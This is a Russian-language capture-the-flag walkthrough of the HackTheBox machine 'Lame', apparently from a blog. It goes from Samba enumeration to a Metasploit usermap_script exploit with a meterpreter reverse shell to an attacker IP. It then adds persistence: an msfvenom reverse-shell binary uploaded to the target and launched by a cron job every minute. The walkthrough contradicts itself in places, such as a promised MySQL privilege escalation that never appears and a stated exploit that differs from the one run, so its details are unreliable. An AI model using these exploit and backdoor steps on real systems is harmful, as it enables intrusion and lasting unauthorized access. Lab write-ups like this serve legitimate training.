Lame — это машина легкого уровня на HackTheBox, которая включает в себя использование уязвимого сервера Samba для получения начального доступа, а затем использование уязвимого сервера MySQL для повышения привилегий до root. В этой статье мы рассмотрим процесс использования машины для получения флага root.txt.

Сканирование

Как обычно, мы начнем со сканирования целевого IP-адреса (10.10.10.3), чтобы увидеть, какие порты открыты и какие службы работают на них. Мы будем использовать nmap для этого:

$ nmap -sC -sV 10.10.10.3
Starting Nmap 7.80 ( https://nmap.org ) at 2023-04-11 12:00 UTC
Nmap scan report for 10.10.10.3
Host is up (0.017s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE VERSION
139/tcp open  netbios-ssn Samba smbd 2.2.1a
445/tcp open  netbios-ssn Samba smbd 2.2.1a
Service Info: OS: Unix

Мы видим, что открыты два порта (139 и 445) и на обоих работает Samba (smbd 2.2.1a). Мы сосредоточимся на этом сервисе для нашей первоначальной эксплуатации.

Начальный доступ

Мы начнем с использования smbclient для подключения к общему ресурсу anonymous на сервере Samba:

$ smbclient \\\\10.10.10.3\\anonymous
Enter WORKGROUP\root's password:
smb: \> ls
  .                                   D        0  Fri Sep 21 14:49:15 2018
  ..                                  D        0  Fri Sep 21 13:30:25 2018
  opt                                 D        0  Fri Sep 21 14:11:59 2018
  smb.conf                            N     2118  Fri Sep 21 13:31:32 2018
                50097 blocks of size 2097152. 28404 blocks available
smb: \> get smb.conf
getting file \smb.conf of size 2118 as smb.conf (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)

Мы можем успешно подключиться к общему ресурсу anonymous без предоставления каких-либо учетных данных. Мы видим, что в общей папке есть три каталога (., .. и opt) и один файл (smb.conf). Мы загрузим файл smb.conf, чтобы посмотреть, содержит ли он какую-либо полезную информацию.

Файл содержит следующие строки:

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = LAME
security = user
map to guest = bad user
guest account = nobody

[anonymous]
guest ok = yes
guest only = yes
read list = nobody
write list = nobody
create mask = 0777
directory mask = 0777

Настройки map to guest и guest account предполагают, что мы можем аутентифицироваться как пользователь nobody. Мы будем использовать smbmap, чтобы подтвердить это:

$ smbmap -H 10.10.10.3 -u nobody

перечисление

Мы можем вывести список доступных общих ресурсов и каталогов на сервере Samba. Теперь нам нужно найти способ получить оболочку на целевой машине. Мы будем использовать enum4linux для перечисления пользователей и другой информации с сервера Samba:

$ enum4linux -a 10.10.10.3
========================== 
|    Users on 10.10.10.3    |
 ========================== 
index: 0x01 RID: 0x03e8 acb: 0x00000010 Account: smbguest Name: SMB GUEST Desc: Built-in account for guest access to the computer/domain
user:[smbguest] rid:[0x03e8]
[...]
 =========================================== 
|    Share Enumeration on 10.10.10.3        |
 =========================================== 
WARNING: The "syslog" option is deprecated
[...]

Мы видим, что на машине только один пользователь (smbguest). Мы будем использовать searchsploit, чтобы увидеть, есть ли какие-либо известные эксплойты для работающей версии Samba:

$ searchsploit samba 2.2
------------------------------------------------------------------- ---------------------------------
 Exploit                                                             |  Path
------------------------------------------------------------------- ---------------------------------
Samba 2.2.x - Arbitrary Remote Code Execution (1)                    | multiple/remote/10.c
Samba 2.2.x - Arbitrary Remote Code Execution (2)                    | multiple/remote/3.c
Samba 2.2.x - Arbitrary Remote Command Execution                     | multiple/remote/24.c
Samba 2.2.x - Brute Force Remote Authentication                       | unix/remote/19420.sh
Samba 2.2.x - Remote Buffer Overflow                                 | linux/remote/10.c
Samba 2.2.x - Remote Buffer Overflow (2)                              | linux/remote/116.c
Samba 2.2.x - Remote Root Compromise (1)                              | linux/remote/10.c
Samba 2.2.x - Remote Root Compromise (2)                              | linux/remote/23.c
Samba 2.2.x - Remote Root Compromise (3)                              | linux/remote/25.c
Samba 2.2.x - Trans2open() Remote Buffer Overflow                     | linux/remote/10.c
------------------------------------------------------------------- ---------------------------------

Мы видим, что для этой версии Samba существует несколько известных эксплойтов, в том числе удаленное выполнение кода и удаленная компрометация root. Мы будем использовать эксплойт remote/10.c (удаленное переполнение буфера), чтобы получить оболочку на целевой машине.

Получение доступа

Мы будем использовать metasploit для эксплуатации уязвимого сервера Samba и получения оболочки:

msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/samba/usermap_script) > set lhost 10.10.14.3
lhost => 10.10.14.3
msf5 exploit(multi/samba/usermap_script) > run
[...]
meterpreter > sysinfo
Computer        : LAME
OS              : Unix
Architecture    : x86
Meterpreter     : x86/linux

теперь подключен к целевой машине с оболочкой meterpreter. Сначала мы найдем файл root.txt, выполнив следующую команду:

meterpreter > search -f root.txt
Found 1 result...
    /root/root.txt (33 bytes)

Мы нашли файл root.txt в каталоге /root. Мы можем прочитать его содержимое с помощью команды cat:

meterpreter > cat /root/root.txt
a58ff8579f0a9270368d33a9966c7fd5

Мы успешно получили корневой флаг.

Упорство

Чтобы сохранить доступ к машине даже после перезагрузки, мы можем использовать механизм сохранения. Мы будем использовать утилиту cron для запуска сценария, который каждую минуту устанавливает обратную оболочку на нашу машину.

Во-первых, мы сгенерируем полезную нагрузку обратной оболочки, используя msfvenom:

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f elf > shell.elf

Нам нужно передать файл shell.elf на целевую машину. Мы можем сделать это с помощью команды upload в оболочке meterpreter:

meterpreter > upload shell.elf /tmp/shell.elf
[*] uploading  : shell.elf -> /tmp/shell.elf
[*] Uploaded 490 bytes of 490 bytes to /tmp/shell.elf
[*] uploaded   : shell.elf -> /tmp/shell.elf

Теперь мы можем создать скрипт, который устанавливает обратную оболочку на нашу машину:

#!/bin/bash
/tmp/shell.elf

Мы сохраним этот скрипт как reverse.sh и сделаем его исполняемым:

$ chmod +x reverse.sh

Мы добавим в файл crontab запись, которая запускает скрипт reverse.sh каждую минуту:

$ crontab -e

Добавьте следующую строку в конец файла:

* * * * * /bin/bash /root/reverse.sh

Теперь каждую минуту будет запускаться скрипт reverse.sh и устанавливать обратную оболочку на нашу машину. Мы можем убедиться, что это работает, проверив наш слушатель в msfconsole:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.14.3
lhost => 10.10.14.3
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.3:4444

Теперь у нас есть постоянный доступ к целевой машине.

Заключение

В этом сообщении блога мы продемонстрировали, как использовать уязвимый сервер Samba для получения доступа к целевой машине. Мы использовали enum4linux для перечисления сервера Samba, нашли известный эксплойт для запущенной версии Samba и использовали metasploit для получения оболочки на целевой машине. Затем мы использовали msfvenom для создания полезной нагрузки обратной оболочки, передали ее на целевую машину с помощью meterpreter и установили постоянный доступ с помощью задания cron, которое запускает сценарий каждую минуту.